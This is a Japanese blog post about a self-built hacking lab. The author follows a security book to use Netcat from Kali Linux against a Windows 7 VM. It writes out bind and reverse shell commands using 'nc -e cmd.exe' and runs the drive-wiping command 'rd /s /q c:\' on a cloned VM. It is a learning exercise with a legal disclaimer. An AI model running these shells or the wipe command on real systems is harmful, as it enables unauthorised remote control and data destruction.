はじめに
この記事は、『ハッキングラボのつくりかた』(IPUSIRON著)に基づいて、最新のKaliLinux2022.1でも同書通りにハッキングできるかどうかを検証するために書かれている。
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
Netcatを使う
Netcatを使って、kaliLinuxとやられOSのWindows7の通信を行う。
Netcatを使って、バックドアの設置もしてみた。
NetcatとSysinternalの導入
まずは、NetcatのWindows版をダウンロード。netcatは、Linuxのツールであり、Windowsで利用する際はWindows用をダウンロードしないといけない。
以下、ダウンロード先 (外部リンク)
netcatダウンロード先
また、Windows7の調査・トラブルシューティングツールであるSysinternals Suiteも利用する。これにより、Windowsへの知識・理解が深まる。このツールは、Windows10をハッキングするときも利用する。今回は使用しないが、今後のMetasploitによる攻撃を解析するときに使用。
Sysinternals Suiteダウンロード先
ゲストOSのWindows7では、インターネットにつながらないために(ホストオンリーネットワーク)、ホストOSでダウンロードして、VirtualBoxの共有フォルダやドラッグ&ドロップ機能でWindows7内にファイルをコピーすること。自分は、Windows7のデスクトップにnetcatを設置した。
Netcatを使った通信方法
コマンドプロンプトを立ち上げる。
netcatが展開されたフォルダに移動して、
ポート5555で待ち状態にする。
//cdでフォルダ移動
C:\user\IEUser>cd Desktop\nc
//Netcatを実行.ポート5555で待ち状態にする
C:\User\IEUser>nc -l -v -p 5555
フォルダ名がncとなっている。同書では別のフォルダ名となっているが、簡易のために名前を変更した。また、同書の記述nc.exe
のように、拡張子をつけなくとも動作した。オプションの付け方は、nc -lvp
としても良い。
WindowsFirewallがアラート出したら、すべての項目にチェックを入れて「Allow access」をクリック。
このようにポート5555で待ち受ける状態となる。
-
Netcatの文法
どこかに接続する場合
nc [-options] hostname port[s] [ports] ...
パケットを待ち受ける場合(サーバーの状態)
nc -l -p port [options] [hostname] [port]
待受の際には、必ず-l (小文字のL) と -pオプション、ポート番号が必要となる。 -
Netcatのオプション
(ヘルプメニューを一部日本語訳している。翻訳に間違いがある可能性がある。)
オプション | 解説 |
---|---|
-d | コンソールから離れる。バックグラウンドモード |
-e prog | インバウンドデータからプログラムを実行(危険!) |
-g gateway | source-routing hop point[s], up to 8 |
-G num | source-routing pointer: 4,8,12 |
-h | ヘルプメニュー |
-i secs | ポートスキャンとその送信のためにsecsで指定した秒数インターバルを設ける |
-l | インバウンドの接続を待受(Listen)モード |
-L | listern harder, re-listen on socket close |
-n | 数値のみのIPアドレス、DNSは利用不可 |
-o file | トラフィックのヘックスダンプファイルの出力 |
-p port | ポート番号 |
-r | ランダムな接続元ポート、接続先ポート |
-s addr | 接続元のアドレス |
-t | telnetネゴシエーションに返答 |
-u | UDPモード |
-v | 詳細を表示 |
-w secs | secsで接続をタイムアウトする秒数を指定 |
-z | zero-I/O モード(接続だけ行って、パケットは送信しない) |
今回は、接続を待ち受けるために -l 、ポート番号を指定するために -p、詳細を表示ために -vオプションを指定した。
新規に別のコマンドプロンプトを立ち上げ、
C:\Users\IEUser\Desktop\nc>netstat -an
を実行すると、待受状態(LISTENING)になっていることが確認できた。
netstatコマンドのオプション
KaliLinuxを起動して、端末を立ち上げてコマンドを実行
kaliLinuxの端末で、以下のコマンドを実行する。
$ nc Windows7のローカルIPアドレス 5555
Windows7に戻ると、次のようにコマンドプロンプトが変化している。
kaliLinuxに戻って、適当な文字列を入力すると、Windows7のnetcatのコマンドプロンプトに反映されている。また、Windows7のNetcatに適当な文字列を入力しても、KaliLinuxの端末に反映されている。相互に文字が反映される。
Netcatはテキストデータが送受信されるだけではなく、他のデータも送受信可能である。これを悪用することで、Windows7上で悪意のあるコマンドを実行することが可能となる。
接続が確認できたら、KaliLinux側でCtrl+Cとタイプして、necatコマンドを終了する。
Netcatの通信は暗号化されない
Netcatを使ったバインドシェルでの攻撃
Kali LinuxからWindows7を操作できることがわかった。
これにより、Windows7上で、バインドシェル(攻撃端末からターゲット端末に接続するタイプのシェル)を使った攻撃ができることがわかる。
- Windows側での設定
netcatの-e exec
オプションを使うことによって、インバウンドで入ってきたデータ(標準入出力などテキストデータ含め)がexec
のプログラムにリダイレクトされて実行できることになる。
つまり、クライアント(ここでは、Kali)からサーバー(ここでは、Windows7)を遠隔操作できることになる。Netcatのヘルプコマンドnc -h
では "inbound program to exec [dangerous!]" と注意されているとおりである。
次のコマンドをWindows7で実行してバインドシェルが実行できるようにする。
C:\Users\IEUser\Desktop\nc>nc -l -v -p 5555 -e cmd.exe
//先ほどの nc -l -v -p 5555に、オプション-eとWindowsのシェルであるcmd.exeを加える
2 . KaliLinux側での設定
次のコマンドを実行
$ nc Windows7のローカルIPアドレス 5555
KaliLinux上の端末で、Windows7を遠隔操作できた。
ipconfig
やdir
といったコマンドが実行可能。rm ファイル名
で、ファイルを削除できた。ただし、ファイル名に日本語含まれていると、"No such file or directory"とエラーが出て削除不能。
バインドシェルで実行できるコマンドの一覧は、help
コマンドから確認できる。
Netcatを使ったリバースシェルでの攻撃
リバースシェルは、ターゲット端末から攻撃端末に対して接続するシェル。バインドシェルとは逆の接続となる。
リバースシェルを使用する理由を同書P.235より引用すると、
通信路の途中にファイアウォールやルーターなどが存在すると、ブロックされてしまうことがあります。インバウンド(外部から内部へのアクセス)を制限しているためです。遠隔操作を実現するバックドアをせっかく設置できても、アクセスできないのでは意味がありません。
とある。
また、同じページの注釈[8]に
ルーターがポートフォワーディングやDMZの設定をしていなければ、外部から内部へのターゲット端末にアクセスさえ出来ません。
ともある。
バインドシェルでの攻撃やバックドアの設置は難しいことがわかったが、だからといってリバースシェルがバインドシェルよりも優れている理由は何だろうか?
同書には、理由として、ルーターやファイアウォールはアウトバウンド(内部から外部へのアクセス)をゆるく設定しているから、アウトバウンドに当たるリバースシェルの通信がブロックされにくいとしている。
はたして、本当にそうなのか?個人的に疑問に思ったので確認してみる。
WindowsFirewallの確認
「WindowsFirewall」>「Windows Firewall with Advanced Security」の「Inbound Rules」、「Outbound Rules」のルールのなかで、「Enabled」の値が"Yes"かつ「Action」の値が"Allow"となっている割合をそれぞれ調べた。(ただし、「Action」の値はすべて"Allow"なので、実質「Enabled」が"Yes"であるのもだけを数えればいい。)
Windows Firewallのルールの項目数を数えるため、「Export List」からそれぞれテキストファイルをエクスポートする。エクスポートしたファイルをVirtualBoxの共有フォルダにコピー。
ホストOSに移って、次のコマンドを実行
コマンドは、Linux テキスト内の文字列の数をカウントするコマンド mebee を参考にさせていただいた。
ちなみに、エクスポートされるテキストファイルは、1行につき1項目となっている。
$ grep -o Yes インバウンドルールのテキストファイル | wc -l
$ grep -o Yes アウトバウンドルールのテキストファイル | wc -l
$ wc -l インバウンドルールのテキストファイル
$ wc -l アウトバウンドルールのテキストファイル
- 結果
「Inbound Rules」は、194項目中64項目がYes(約32%)、
「Outbound Rules」は、142項目中53項目がYes(約37%)
※ただし、インバウンドルールの中にnetcatとpingの設定で、自分がenabledに設定した項目が4つあるので、デフォルト時は60項目(約31%)
両者を比較すると、5ポイント分(デフォルト児だと6ポイント分)、アウトバウンドの通信が許可されていることが確認できた。インバウンドルールはアウトバウンドルールより少しだけ厳しめ?と言えることになるかなと思う。・・・たぶん。
リバースシェルでの攻撃を実行
気を取り直して、リバースシェルでの攻撃。
1, KaliLinuxのターミナルでつぎのコマンドを実行。Windows7からのアクセスを待ち受ける状態となる。
"-lvp"は," -l -v -p"オプションと同等。
$ nc -lvp 5555
2, Windows7のコマンドプロンプトで次のコマンドを実行
C:\Users\IEUser\Desktop\nc > nc KaliLinuxのローカルIPアドレス 5555 -e cmd.exe
KaliLinuxの端末に戻ると、端末上でWindowsのコマンドプロンプトが実行可能になる。
バインドシェルと同様に、ipconfig
やdir
といったコマンドが実行可能。rm ファイル名
で、ファイルを削除できた。ただし、ファイル名が2バイト文字だと、"No such file or directory"とエラーが出て削除不能。シェルで実行できるコマンドの一覧は、help
コマンドから確認できる。個人的な感覚だが、リバースシェルのほうが動作が軽いように思う。
おまけ
ポート番号を変えて接続、攻撃してみる
いままで、ポート番号5555を使っていたが、他のポート番号でもいけるか試してみた。
5555はadbなどに使われているポートらしい。
実行の可否
ポート番号 | 5553 | 5554 | 80 | 20 | 49155 | 50000 |
---|---|---|---|---|---|---|
バインドシェル | ○ | ○ | ○ | ○ | ☓ | ○ |
リバースシェル | ○ | ○ | ○ | ○ | ○ | ○ |
5553,5554は適当に選んだもの。登録済みポートとなっている
Well-known(システム)ポートの80, 20
49155は動的/プライベートポートの一例。Xsan ファイルシステムアクセスなどに使用されているらしい。
50000も動的/プライベートポートの一例。
UDPで通信するときもコマンドを実行できるか
-
バインドシェル
Windows側をnc -lvup 50000 -e cmd.exe
、
KaliLinuxをnc -u Windows7のIPアドレス 50000
などのコマンドで試行錯誤してやってみました。無理でした。 -
リバースシェル
Windows側をnc -u KaliLinuxのIpアドレス 50000 -e cmd.exe
KaliLinux側をnc -lvup 50000
で試すと、つながるけど、コマンドは実行できない。-eオプションをつけずに、テキストデータの送受信は可能。
UDPの性質上当たり前だけど。
禁断のコマンドを実行してみる
ネット上で有名な禁断のコマンド「cmd /c rd /s /q c:\」をリバースシェルでやってみる。
管理者権限でNetcatを実行するか、リバースシェル上で管理者権限に昇格するかしないと、うまく実行できないと思うが。
ただ、本当に全データ削除されたら、せっかく構築した環境を一から構築し直さなければならなくなるので、Windows7のクローンを作って、そこで実行を行う。
VirtualBoxでのゲストOSのクローンの作り方については割愛。
事前のwhoami
whoami /user
の実行結果
whoami /groups
の実行結果
whoami /priv
の実行結果
禁断のコマンドをアレンジして、リバースシェル上に「rd /s /q c:\」とタイプして実行する。
大量の"Access is denied"が出るが、一応実行できてる・・・。Windows再起動したら、壁紙消えてるし、いろいろとおかしくなってる。管理者権限が必要なフォルダ・ファイル以外はすべて削除されたっぽい。
今度は、Netcatを管理者権限のコマンドプロンプトから実行して、禁断のコマンドを実行してみる。(タイトルバーに注目 Administrator)
同じように大量の"Access is denied"...
同じような結果だったので、再起動できるかなと油断していたら、下の画像のような結果に。
終わりに
いろいろと試してみました。やっと、ハッキング・クラッキングっぽいことができました。拙い文章で、内容に誤りもあるかもしれません。
実際には、どうやって管理者権限を得るかという問題があるのでしょう。次回はMetasploitを使う予定です。それを使うと、割と簡単に管理者権限に昇格できるのですが。
といっても、よほど脆弱性を放置している環境でもないと、かんたんにハッキングできるものとは思えません。
- 参考にしたもの
『ハッキング・ラボのつくりかた』(IPUSIRON著)